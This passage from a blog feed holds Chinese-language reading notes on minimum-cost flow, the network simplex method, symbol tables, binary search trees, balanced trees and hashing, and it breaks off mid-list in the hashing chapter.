&lt;li&gt;f 为负：有一条容量 c-f、成本 x 的边&lt;/li&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;li&gt;区别：表示后向边的边有负成本&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;性质：残量网络中不含负成本的环：最小成本最大流
&lt;ul&gt;
&lt;li&gt;消环算法：
&lt;ul&gt;
&lt;li&gt;描述：找一个最大流，在残量网中沿着任何负成本的环来增大流，继续这个过程，直到不存在负成本的环&lt;/li&gt;
&lt;li&gt;虚拟流初始化（去掉初始最大流的计算）：添加一条从源点到汇点的虚拟边，并赋予最大成本（大于任何源点-汇点路径上的成本）：VC+1；最大流：大于源点流出量&lt;/li&gt;
&lt;li&gt;所需的增大环的数目少于 ECM&lt;/li&gt;
&lt;li&gt;稀疏图：O(V^3CM)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;网络单纯形算法：
&lt;ul&gt;
&lt;li&gt;描述：维护一个树形数据结构，对成本进行重新加权以使负环可被快速识别&lt;/li&gt;
&lt;li&gt;对于任意流、每个网络边 u-v 可有 3 种状态：
&lt;ul&gt;
&lt;li&gt;空：流只能从 u 推入 v：u-v 在残量网中，v-u 不在&lt;/li&gt;
&lt;li&gt;满：流只能从 v 推入 u：v-u 在残量网中，u-v 不在&lt;/li&gt;
&lt;li&gt;部分（部分边）（不空不满）：流可双向推入：u-v、v-u 都在残量网中&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;给定一个不含部分边环的最大流，此最大流的一个可行生成树是网络的一棵生成树，包含了所有流的部分边&lt;/li&gt;
&lt;li&gt;网络单纯形算法：
&lt;ul&gt;
&lt;li&gt;第一步：构造一棵生成树：
&lt;ul&gt;
&lt;li&gt;方法：
&lt;ul&gt;
&lt;li&gt;计算一个最大流，通过沿着每个环增大从而使其边为空或为满来破坏部分边的环，然后向余下的部分边中添加满边或空边，从而构建一棵生成树&lt;/li&gt;
&lt;li&gt;从源点到汇点的一条虚拟边的最大流开始，此边为唯一可能的部分边，可使用任何图搜索方法来构建该流的一棵生成树&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;基本原理：有一个顶点权值的集合，这些权值可以很快地识别出一些边，这些边被添加到树中时，会在残量网中创建负环
&lt;ul&gt;
&lt;li&gt;顶点权值：势&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\phi (v)&lt;/code&gt;：关联顶点 v 的势&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;设 c(u, v) 为流的残量网中 u-v 的成本，对于任何势函数 &lt;code&gt;\phi&lt;/code&gt;，该残量网中的边 u-v 关于 &lt;code&gt;\phi&lt;/code&gt; 的降低的成本用 c*(u,
v) 表示，值为 c*(u, v) = v(u, v) - (&lt;code&gt;\phi (u)&lt;/code&gt; - &lt;code&gt;\phi (v)&lt;/code&gt;)：每条边上降低的成本为该边实际成本减去该边顶点势差&lt;/li&gt;
&lt;li&gt;使用可行生成树来定义顶点的势，使得关于这些势的降低的边成本直接给出关于负成本环的信息：通过执行算法和设置顶点势的值（使得所有树边可降低的成本为
0）来维护一棵可行生成树&lt;/li&gt;
&lt;li&gt;当所有树边可降低的成本为 0 时，称顶点势的集合关于这棵树是有效的：对于任意给定生成树，所有有效的顶点势隐含着每条网络边有相同的降低成本&lt;/li&gt;
&lt;li&gt;合格边：
&lt;ul&gt;
&lt;li&gt;非树边：如果在残量网络中，它与树边创建的环是一个负成本的环&lt;/li&gt;
&lt;li&gt;边：
&lt;ul&gt;
&lt;li&gt;带有可降低成本为正的一条满边&lt;/li&gt;
&lt;li&gt;带有负可降低成本的一条空边&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;有合格边则有负成本的环&lt;/li&gt;
&lt;li&gt;无合格边则为最小成本流&lt;/li&gt;
&lt;li&gt;最小成本流：树边的降低成本均为 0，满的非树边均为非负的，空的非树边均为非正的&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;定义：构建一棵可行生成树并维持顶点的势，使其满足所有树顶点的降低成本为
0。向树中添加一条合格边，并沿着用该边与树边形成的环来增大流，从该树中删除满边或空边，继续这一过程直到不存在合格边&lt;/li&gt;
&lt;li&gt;可行生成树：顶点的势：降低的成本：合格边：负成本环：减小流成本：树结构的改变：顶点势的改变&lt;/li&gt;
&lt;li&gt;3 种涉及树的计算任务：
&lt;ul&gt;
&lt;li&gt;计算顶点的势：
&lt;ul&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;设根的势为 0， 从任意顶点开始，递归地计算其祖先的势，沿着父链接直到树根&lt;/li&gt;
&lt;li&gt;然后选择另一个顶点，并使用父链接递归计算其祖先的势&lt;/li&gt;
&lt;li&gt;到达一个势已知的祖先顶点时，递归终止且在跳出递归的过程中沿着路径向下行进，通过相应的父结点来计算每个结点的势，继续这一过程，直到计算了所有结点的势&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;与 V 呈线性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;沿着该环增大（并识别其上的空边或满边）：
&lt;ul&gt;
&lt;li&gt;最小公共祖先（LCA）：两个结点的最小子树的根&lt;/li&gt;
&lt;li&gt;添加一条连接两个结点的边而形成了环，这个环由新边和这两个结点到其 LCA 的两条路径上的边组成&lt;/li&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;通过这两个结点到其 LCA 的任一路径，沿着环增大。示例：为了沿着通过添加新边 u-v 而形成的环增大，可以找到
u 和 v 的 LCA（设为 t），并从 u 到 v，从 v 沿着到 t 的路径及从 u 沿着到 t 的路径推入流，但在相反方向每条边都推入流&lt;/li&gt;
&lt;li&gt;计算推入的流量，用同样的方法遍历环上的边来确定被推入的最大量&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;与环结点数成正比&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;在形成的环上插入一条新边和删除一条边（用 u-v 与树边所创建的环中另一条边来代替边 u-v）：
&lt;ul&gt;
&lt;li&gt;需删除的边在 u 到 LCA 路径上或 v 到 LCA 路径上&lt;/li&gt;
&lt;li&gt;将 u-v 之间的链接反向并删除边&lt;/li&gt;
&lt;li&gt;如果在增大环中存在多于一条的满边或空边：总是从树中删除与合格边两个顶点 LCA 最近的边&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;最小成本流归约：
&lt;ul&gt;
&lt;li&gt;最小成本流更具有一般性：任何最小成本最大流都是最大流问题的一个解&lt;/li&gt;
&lt;li&gt;最小成本流消环算法给出了最大流问题的一种通用增大路径算法&lt;/li&gt;
&lt;li&gt;在最小成本流问题中，可将负成本网转换为非负成本的网&lt;/li&gt;
&lt;li&gt;单纯形方法：网络单纯形方法&lt;/li&gt;
&lt;li&gt;LP 问题：最小成本流问题&lt;/li&gt;
&lt;li&gt;归约：
&lt;ul&gt;
&lt;li&gt;无负环单源点最小路径问题&lt;/li&gt;
&lt;li&gt;运输问题等价于最小成本流&lt;/li&gt;
&lt;li&gt;分配问题&lt;/li&gt;
&lt;li&gt;邮差问题&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;展望：
&lt;ul&gt;
&lt;li&gt;最大匹配&lt;/li&gt;
&lt;li&gt;多商品流&lt;/li&gt;
&lt;li&gt;凸包和非线性成本&lt;/li&gt;
&lt;li&gt;调度问题&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>Note</category></item><item><title>【读书笔记】数据结构与算法分析 - C 语言描述 - 第四部分 - 搜索</title><link>https://www.sulinehk.com/post/note-for-data-structure-and-algorithm-analysis-in-c-part4/</link><guid isPermaLink="true">https://www.sulinehk.com/post/note-for-data-structure-and-algorithm-analysis-in-c-part4/</guid><pubDate>Mon, 02 May 2022 07:24:04 GMT</pubDate><content:encoded>&lt;h2&gt;第十二章 符号表和二叉搜索树&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;符号表：
&lt;ul&gt;
&lt;li&gt;操作：
&lt;ul&gt;
&lt;li&gt;插入：插入一个数据项&lt;/li&gt;
&lt;li&gt;搜索：搜索一个具有给定关键字的数据项（或若干数据项）&lt;/li&gt;
&lt;li&gt;删除：删除一个特定数据项&lt;/li&gt;
&lt;li&gt;选择：选出第 k 个最小数据项&lt;/li&gt;
&lt;li&gt;排序：按关键字顺序访问所有数据项&lt;/li&gt;
&lt;li&gt;连接：连接两个符号表&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;有相同关键字时：
&lt;ul&gt;
&lt;li&gt;不同关键字的数据项 + 对于每个关键字有一条链表用于指向相同关键字&lt;/li&gt;
&lt;li&gt;相同关键字不隐藏，在一次搜索中返回所有&lt;/li&gt;
&lt;li&gt;唯一标识每个数据项&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;手指搜索（Finger search）：搜索可从以前结束的地方开始&lt;/li&gt;
&lt;li&gt;范围搜索：统计或访问落入某个区间的节点&lt;/li&gt;
&lt;li&gt;近邻搜索：查找距离某点最近的关键字（数据项）&lt;/li&gt;
&lt;li&gt;计数（Count）操作：
&lt;ul&gt;
&lt;li&gt;懒方法：Count() 函数&lt;/li&gt;
&lt;li&gt;积极方法：局部变量&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;关键字索引搜索：
&lt;ul&gt;
&lt;li&gt;适用于关键字的值是不同的小整数&lt;/li&gt;
&lt;li&gt;原理：对数组中的数据项排序，然后按关键字进行索引&lt;/li&gt;
&lt;li&gt;无任何数据项（只有关键字）时：可使用位表：把第 k 位看作表示 k 是否存在于表的关键字集中的标志&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;顺序搜索：
&lt;ul&gt;
&lt;li&gt;实现：把数据项按照顺序连续地存放在数组中&lt;/li&gt;
&lt;li&gt;插入：等同于插入排序（移动位置）&lt;/li&gt;
&lt;li&gt;构造表：连续插入（平方）&lt;/li&gt;
&lt;li&gt;搜索：顺序查找，当遇到的关键字大于（小于）搜索关键字时，报告失败
&lt;ul&gt;
&lt;li&gt;不存在关键字时使用数组尾部作为观察哨：
&lt;ul&gt;
&lt;li&gt;避免对数组尾部终止条件的测试&lt;/li&gt;
&lt;li&gt;然后搜索只会成功返回，需要判断返回的元素是数据项还是观察哨
&lt;ul&gt;
&lt;li&gt;真成功：返回数据项&lt;/li&gt;
&lt;li&gt;假成功：返回观察哨&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;不要求有序：
&lt;ul&gt;
&lt;li&gt;插入：插入末尾&lt;/li&gt;
&lt;li&gt;搜索：顺序查看&lt;/li&gt;
&lt;li&gt;删除：先搜索，然后移动最后一项到这个位置，数组大小减 1&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;实现：有序数组、无序数组、有序表、无序表&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;二分搜索：把数据项分成两部分，确定搜索关键字在某部分，然后集中处理这个部分，而舍弃另一部分
&lt;ul&gt;
&lt;li&gt;标准分治法&lt;/li&gt;
&lt;li&gt;数组是有序的&lt;/li&gt;
&lt;li&gt;尾递归：递归函数是在递归调用时结束的。尾递归在非递归实现时不需要栈&lt;/li&gt;
&lt;li&gt;实现：递归执行，搜索关键字与中间元素比较，确定是在前半还是在后半&lt;/li&gt;
&lt;li&gt;对表更新时有高额开销&lt;/li&gt;
&lt;li&gt;保持有序：
&lt;ul&gt;
&lt;li&gt;插入过程中动态保持：与插入数的平方成正比&lt;/li&gt;
&lt;li&gt;标准排序方法作为构造函数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;最大比较次数：floor(lgN)+1，也就是 N 的二进制表示中 1 的位数&lt;/li&gt;
&lt;li&gt;重复关键字：表现为重复的连续一块
&lt;ul&gt;
&lt;li&gt;对给定关键字计数&lt;/li&gt;
&lt;li&gt;作为一组数返回&lt;/li&gt;
&lt;li&gt;在终止点分别向两个方向扫描，返回相等关键字的下标边界&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;改进：更精确地猜测：插值搜索：
&lt;ul&gt;
&lt;li&gt;基于关键字的值是数值型的，且为均匀分布&lt;/li&gt;
&lt;li&gt;依赖假设&lt;/li&gt;
&lt;li&gt;额外计算&lt;/li&gt;
&lt;li&gt;适用于访问开销大的外部方法&lt;/li&gt;
&lt;li&gt;把 &lt;code&gt;m = (l+r)/2&lt;/code&gt; 改为 &lt;code&gt;m = l+1/2*(r-l)&lt;/code&gt;，再把 1/2 改为 (v-k_l)/(k_r-k_l)，k_l、k_r 分别对应 a[l]、a[r]&lt;/li&gt;
&lt;li&gt;得：&lt;code&gt;m = l+[(v-key(a[l])) / (key(a[r]) - key(a[l]))] * (r-l)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;二叉搜索树：
&lt;ul&gt;
&lt;li&gt;性质：任何节点都大于等于左子树所有节点，小于等于右子树所有节点&lt;/li&gt;
&lt;li&gt;插入：在搜索失败后，用指向树底的链接代替终止搜索的链接&lt;/li&gt;
&lt;li&gt;排序：中序遍历&lt;/li&gt;
&lt;li&gt;重复关键字：
&lt;ul&gt;
&lt;li&gt;新节点会不连续地落在已存在节点的右边&lt;/li&gt;
&lt;li&gt;可以在找到第一个匹配点后继续搜索&lt;/li&gt;
&lt;li&gt;出现在根到外部节点的搜索关键字的路径上&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;树的根节点对应快排中的划分元素&lt;/li&gt;
&lt;li&gt;高度：等于最坏情况下，一次搜索的开销&lt;/li&gt;
&lt;li&gt;内部路径长度：所有节点距离相加：与搜索命中的开销有关&lt;/li&gt;
&lt;li&gt;外部路径长度：与搜索失败的开销有关，外部 - 内部 = 2N&lt;/li&gt;
&lt;li&gt;距离一个节点的平均距离 = 节点个数的对数函数&lt;/li&gt;
&lt;li&gt;索引实现：
&lt;ul&gt;
&lt;li&gt;索引：一种处于数据项之外的搜索结构，可以快速访问具有给定关键字的数据项&lt;/li&gt;
&lt;li&gt;无需改变树的代码，即可添加额外数组（额外信息）&lt;/li&gt;
&lt;li&gt;避免了把数据复制到内部的额外开销&lt;/li&gt;
&lt;li&gt;提前分配内存&lt;/li&gt;
&lt;li&gt;字符串搜索&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;根节点插入：
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;新插入的数据项在根节点：最近插入的节点都在树的上部&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;右旋转：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x = h-&amp;gt;l;
h-&amp;gt;l = x-&amp;gt;r;
x-&amp;gt;r = h;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;左旋转：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x = h-&amp;gt;r;
h-&amp;gt;r = x-&amp;gt;l;
x-&amp;gt;l = h;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;自组织的搜索方法：搜索命中时把找到的节点带到根部，把经常访问到的节点保持在树的顶部&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;其它操作：
&lt;ul&gt;
&lt;li&gt;选择：第 k 个最小关键字问题&lt;/li&gt;
&lt;li&gt;删除：
&lt;ul&gt;
&lt;li&gt;在子树中，（递归）删除该节点的结构代替原来子树&lt;/li&gt;
&lt;li&gt;在根部，合并两个子树代替原树：右子树中的最小节点变成根节点，左链接指向左子树&lt;/li&gt;
&lt;li&gt;懒删除：
&lt;ul&gt;
&lt;li&gt;只标记为已删除，并忽略它&lt;/li&gt;
&lt;li&gt;可重用于未来的插入操作&lt;/li&gt;
&lt;li&gt;周期性重建：每隔一段时间就删除掉带标记的节点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;连接：把 1 号的根插入到 2 号去（根节点插入法），再将 1 号的左右子树分别和 2 号的左右子树两两组合&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;符号表的时间复杂度：* 表示几乎不可能出现的情况&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;插入&lt;/th&gt;
&lt;th&gt;搜索&lt;/th&gt;
&lt;th&gt;选择&lt;/th&gt;
&lt;th&gt;插入&lt;/th&gt;
&lt;th&gt;搜索命中&lt;/th&gt;
&lt;th&gt;搜索失败&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;最坏&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;平均&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;关键字索引数组&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;M&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;有序数组&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;N/2&lt;/td&gt;
&lt;td&gt;N/2&lt;/td&gt;
&lt;td&gt;N/2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;有序链表&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;N/2&lt;/td&gt;
&lt;td&gt;N/2&lt;/td&gt;
&lt;td&gt;N/2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;无序数组&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;NlgN&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;N/2&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;无序链表&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;NlgN&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;N/2&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;二分搜索&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;N/2&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;二叉搜索树&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;红黑树&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;随机树&lt;/td&gt;
&lt;td&gt;N*&lt;/td&gt;
&lt;td&gt;N*&lt;/td&gt;
&lt;td&gt;N*&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;散列&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;N*&lt;/td&gt;
&lt;td&gt;NlgN&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;第十三章 平衡树&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;最坏情况：
&lt;ul&gt;
&lt;li&gt;已有序文件&lt;/li&gt;
&lt;li&gt;大量重复关键字&lt;/li&gt;
&lt;li&gt;逆序&lt;/li&gt;
&lt;li&gt;大小关键字交替&lt;/li&gt;
&lt;li&gt;其中任意片段具有简单结构的文件&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;平衡方法：
&lt;ul&gt;
&lt;li&gt;显式地进行周期性再平衡：缺点：
&lt;ul&gt;
&lt;li&gt;重新插入关键字对时间可能随插入序列长度呈平方递增&lt;/li&gt;
&lt;li&gt;每次平衡至少花费基于树大小的线性时间&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;随机化：降低最坏情况出现的机会（无论输入）：随机化的 BST 和跳跃表&lt;/li&gt;
&lt;li&gt;平摊：每次做额外工作，从而避免以后做更多工作：伸展 BST&lt;/li&gt;
&lt;li&gt;优化：为每个操作提供性能保障：自顶向下 2-3-4 树和红黑树&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;随机化 BST：按概率进行根插入
&lt;ul&gt;
&lt;li&gt;新纪录的最终位置在搜索路径上的任何地方（随机判定）&lt;/li&gt;
&lt;li&gt;与输入无关&lt;/li&gt;
&lt;li&gt;等价于用该树的关键字的随机排列来建立标准 BST&lt;/li&gt;
&lt;li&gt;缺点：
&lt;ul&gt;
&lt;li&gt;生成随机数的开销&lt;/li&gt;
&lt;li&gt;每个节点需要记录子树节点个数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;伸展 BST：伸展操作消除了最坏情况的平方时间
&lt;ul&gt;
&lt;li&gt;插入：
&lt;ul&gt;
&lt;li&gt;不同定向：标准根插入法&lt;/li&gt;
&lt;li&gt;相同定向：在根处进行两次旋转&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;平摊性能保障：虽然不能保证每个操作都是高效的，但可以保证所有操作的平均开销是高效的&lt;/li&gt;
&lt;li&gt;重复关键字：会排列到节点的两边&lt;/li&gt;
&lt;li&gt;优点：
&lt;ul&gt;
&lt;li&gt;自组织&lt;/li&gt;
&lt;li&gt;频繁访问一个小型关键字集合&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;2-3-4 树：
&lt;ul&gt;
&lt;li&gt;2-节点：1 个关键字 k，2 个指针 p1, p2。p1 指向比 k 小的子树，p2 指向比 k 大的子树&lt;/li&gt;
&lt;li&gt;3-节点：2 个关键字 k1, k2，3 个指针 p1, p2, p3。p1 指向比 k1, k2 都小的子树，p2 指向在 k1, k2 之间的子树，p3 指向比 k1,
k2 都大的子树&lt;/li&gt;
&lt;li&gt;4-节点：3 个关键字 k1, k2, k3，4 个指针 p1, p2, p3, p4。p1 指向最小，p2 指向 k1, k2 之间，p3 指向 k2, k3 之间，p4 指向最大&lt;/li&gt;
&lt;li&gt;分裂：把 4-节点分裂成两个 2-节点，把中间关键字传给父节点&lt;/li&gt;
&lt;li&gt;自底向上：&lt;/li&gt;
&lt;li&gt;自顶向下：搜索过程每遇到 4-节点就分裂
&lt;ul&gt;
&lt;li&gt;优点：一次遍历过程就可达到所需的平衡&lt;/li&gt;
&lt;li&gt;树根变成 4-节点：分裂成一个由 3 个 2-节点组成的三角形&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;红黑树：
&lt;ul&gt;
&lt;li&gt;思想：把 2-3-4 树表示为标准 BST（只有2-节点），每个节点增加一个信息位来存放指向那个节点的链接的颜色&lt;/li&gt;
&lt;li&gt;红链接：2-3-4 树中节点中的内部链接，是由 3-节点和 4-节点组成的小二叉树&lt;/li&gt;
&lt;li&gt;黑链接：2-3-4 树中的普通链接&lt;/li&gt;
&lt;li&gt;两种结构的优点：
&lt;ul&gt;
&lt;li&gt;标准 BST 的简单搜索过程&lt;/li&gt;
&lt;li&gt;2-3-4 树的简单插入-平衡过程&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;只有看到 4-节点时才平衡&lt;/li&gt;
&lt;li&gt;重复关键字：必须允许相等落入两边&lt;/li&gt;
&lt;li&gt;最坏情况有保障&lt;/li&gt;
&lt;li&gt;随机数据时有最快的插入和搜索&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;高度平衡树（AVL树）：每个节点的子树高度最多相差 1&lt;/li&gt;
&lt;li&gt;2-3 树：只有 2-节点和 3-节点&lt;/li&gt;
&lt;li&gt;跳跃表：
&lt;ul&gt;
&lt;li&gt;完全忽略 2-3-4 树的抽象：形式化一个插入算法，使它通过旋转操作保持平衡红黑 BST 性质&lt;/li&gt;
&lt;li&gt;定义：有序链表，每个节点有不定量的链接，第 i 个链接跳过有小于 i 个链接的节点（i个跳过少于i个）&lt;/li&gt;
&lt;li&gt;随机化&lt;/li&gt;
&lt;li&gt;稳固结构：插入时很难维护&lt;/li&gt;
&lt;li&gt;少于其它方法的空间需求，又能提供对数性能&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十四章 散列&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;处理不规则的关键字&lt;/li&gt;
&lt;li&gt;通过算术运算把关键字转换成表中地址来直接引用表中元素&lt;/li&gt;
&lt;li&gt;解决冲突：
&lt;ul&gt;
&lt;li&gt;链表：关键字数目无法预知&lt;/li&gt;
&lt;li&gt;数组：固定数目&lt;/li&gt;
&lt;li&gt;方法：
&lt;ul&gt;
&lt;li&gt;链地址法&lt;/li&gt;
&lt;li&gt;开放地址法：用空的存储空间来解决冲突
&lt;ul&gt;
&lt;li&gt;线性探测法&lt;/li&gt;
&lt;li&gt;双重散列表&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;动态散列表&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;空间换时间：标准散列（关键字索引）&lt;/li&gt;
&lt;li&gt;时间换空间：顺序搜索&lt;/li&gt;
&lt;li&gt;缺点：
&lt;ul&gt;
&lt;li&gt;运行时间依赖于关键字长度&lt;/li&gt;
&lt;li&gt;选择、排序的功能无法高效实现&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;散列函数：
&lt;ul&gt;
&lt;li&gt;不同关键字映射到不同地址&lt;/li&gt;
&lt;li&gt;冲突：多个关键字对应同一地址&lt;/li&gt;
&lt;li&gt;希望避免显示类型转换，将关键字的二进制表示用作算术运算&lt;/li&gt;
&lt;li&gt;对于 w-位整数：
&lt;ul&gt;
&lt;li&gt;模散列函数：k % M&lt;/li&gt;
&lt;li&gt;关键字乘 0-1 之间的常数，再做模 M 运算&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;关键点：应该考虑到关键字的所有位&lt;/li&gt;
&lt;li&gt;应该取素数（质数）作为表长&lt;/li&gt;
&lt;li&gt;默森尼素数：当 t = 2, 3, 5, 7, 13, 19, 31 时，2^t-1 为素数&lt;/li&gt;
&lt;li&gt;对于较长字母序列：
&lt;ul&gt;
&lt;li&gt;霍纳算法：从左到右计算编码字符串：每个字符的十进制求和后乘基数（应取素数），再加上下一个字符的编码值&lt;/li&gt;
&lt;li&gt;计算长整数时，每步去掉 M 的倍数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;通用散列算法：在计算中使用随机系数，并对关键字每位数采用不同随机值
&lt;ul&gt;
&lt;li&gt;冲突几率为表大小 M 的倒数：1/M&lt;/li&gt;
&lt;li&gt;对长关键字比较耗时，可通过分段处理来解决&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;链地址法：每个地址对应一个链表
&lt;ul&gt;
